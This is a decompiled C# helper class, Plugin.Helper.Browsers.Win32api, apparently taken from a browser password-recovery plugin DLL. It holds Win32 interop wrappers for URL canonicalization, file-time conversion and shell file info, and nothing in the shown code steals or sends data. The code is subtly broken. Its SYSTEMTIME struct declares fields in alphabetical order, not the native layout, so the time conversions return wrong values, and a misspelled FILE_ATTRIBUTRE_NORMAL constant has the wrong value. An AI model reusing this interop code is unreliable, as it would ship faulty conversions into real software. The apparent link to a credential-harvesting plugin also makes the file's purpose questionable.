﻿// Decompiled with JetBrains decompiler
// Type: Plugin.Helper.Browsers.Win32api
// Assembly: PluginPasswordRecovery, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: E94068A8-BD3A-4D1E-9D36-4F12AED48A05
// Assembly location: C:\Users\ian\Downloads\Telegram Desktop\fein\Plugins\PluginPasswordRecovery.dll

using System;
using System.Runtime.InteropServices;
using System.Text;


namespace Plugin.Helper.Browsers
{
	public class Win32api
	{
		public const uint SHGFI_ATTR_SPECIFIED = 131072;
		public const uint SHGFI_ATTRIBUTES = 2048;
		public const uint SHGFI_PIDL = 8;
		public const uint SHGFI_DISPLAYNAME = 512;
		public const uint SHGFI_USEFILEATTRIBUTES = 16;
		public const uint FILE_ATTRIBUTRE_NORMAL = 16384;
		public const uint SHGFI_EXETYPE = 8192;
		public const uint SHGFI_SYSICONINDEX = 16384;
		public const uint ILC_COLORDDB = 1;
		public const uint ILC_MASK = 0;
		public const uint ILD_TRANSPARENT = 1;
		public const uint SHGFI_ICON = 256;
		public const uint SHGFI_LARGEICON = 0;
		public const uint SHGFI_SHELLICONSIZE = 4;
		public const uint SHGFI_SMALLICON = 1;
		public const uint SHGFI_TYPENAME = 1024;
		public const uint SHGFI_ICONLOCATION = 4096;

		[DllImport("shlwapi.dll")]
		public static extern int UrlCanonicalize(
			string pszUrl,
			StringBuilder pszCanonicalized,
			ref int pcchCanonicalized,
			Win32api.shlwapi_URL dwFlags);

		public static string CannonializeURL(string pszUrl, Win32api.shlwapi_URL dwFlags)
		{
			StringBuilder pszCanonicalized = new StringBuilder(260);
			int capacity = pszCanonicalized.Capacity;
			if (Win32api.UrlCanonicalize(pszUrl, pszCanonicalized, ref capacity, dwFlags) == 0)
				return pszCanonicalized.ToString();
			pszCanonicalized.Capacity = capacity;
			Win32api.UrlCanonicalize(pszUrl, pszCanonicalized, ref capacity, dwFlags);
			return pszCanonicalized.ToString();
		}

		[DllImport("Kernel32.dll", CharSet = CharSet.Auto)]
		private static extern bool FileTimeToSystemTime(
			ref System.Runtime.InteropServices.ComTypes.FILETIME FileTime,
			ref Win32api.SYSTEMTIME SystemTime);

		public static DateTime FileTimeToDateTime(System.Runtime.InteropServices.ComTypes.FILETIME filetime)
		{
			Win32api.SYSTEMTIME SystemTime = new Win32api.SYSTEMTIME();
			Win32api.FileTimeToSystemTime(ref filetime, ref SystemTime);
			try
			{
				return new DateTime((int) SystemTime.Year, (int) SystemTime.Month, (int) SystemTime.Day, (int) SystemTime.Hour, (int) SystemTime.Minute, (int) SystemTime.Second, (int) SystemTime.Milliseconds);
			}
			catch (Exception ex)
			{
				return DateTime.Now;
			}
		}

		[DllImport("Kernel32.dll", CharSet = CharSet.Auto)]
		private static extern bool SystemTimeToFileTime(
			[In] ref Win32api.SYSTEMTIME lpSystemTime,
			out System.Runtime.InteropServices.ComTypes.FILETIME lpFileTime);

		public static System.Runtime.InteropServices.ComTypes.FILETIME DateTimeToFileTime(
			DateTime datetime)
		{
			System.Runtime.InteropServices.ComTypes.FILETIME lpFileTime;
			var shit = new Win32api.SYSTEMTIME()
			{
				Year = (short)datetime.Year,
				Month = (short)datetime.Month,
				Day = (short)datetime.Day,
				Hour = (short)datetime.Hour,
				Minute = (short)datetime.Minute,
				Second = (short)datetime.Second,
				Milliseconds = (short)datetime.Millisecond
			};

            Win32api.SystemTimeToFileTime(ref shit, out lpFileTime);
			return lpFileTime;
		}

		[DllImport("Kernel32.dll")]
		public static extern int CompareFileTime([In] ref System.Runtime.InteropServices.ComTypes.FILETIME lpFileTime1, [In] ref System.Runtime.InteropServices.ComTypes.FILETIME lpFileTime2);

		[DllImport("shell32.dll")]
		public static extern IntPtr SHGetFileInfo(
			string pszPath,
			uint dwFileAttributes,
			ref SHFILEINFO psfi,
			uint cbSizeFileInfo,
			uint uFlags);

		[Flags]
		public enum shlwapi_URL : uint
		{
			URL_DONT_SIMPLIFY = 134217728, // 0x08000000
			URL_ESCAPE_PERCENT = 4096, // 0x00001000
			URL_ESCAPE_SPACES_ONLY = 67108864, // 0x04000000
			URL_ESCAPE_UNSAFE = 536870912, // 0x20000000
			URL_PLUGGABLE_PROTOCOL = 1073741824, // 0x40000000
			URL_UNESCAPE = 268435456, // 0x10000000
		}

		public struct SYSTEMTIME
		{
			public short Day;
			public short DayOfWeek;
			public short Hour;
			public short Milliseconds;
			public short Minute;
			public short Month;
			public short Second;
			public short Year;
		}
	}
}
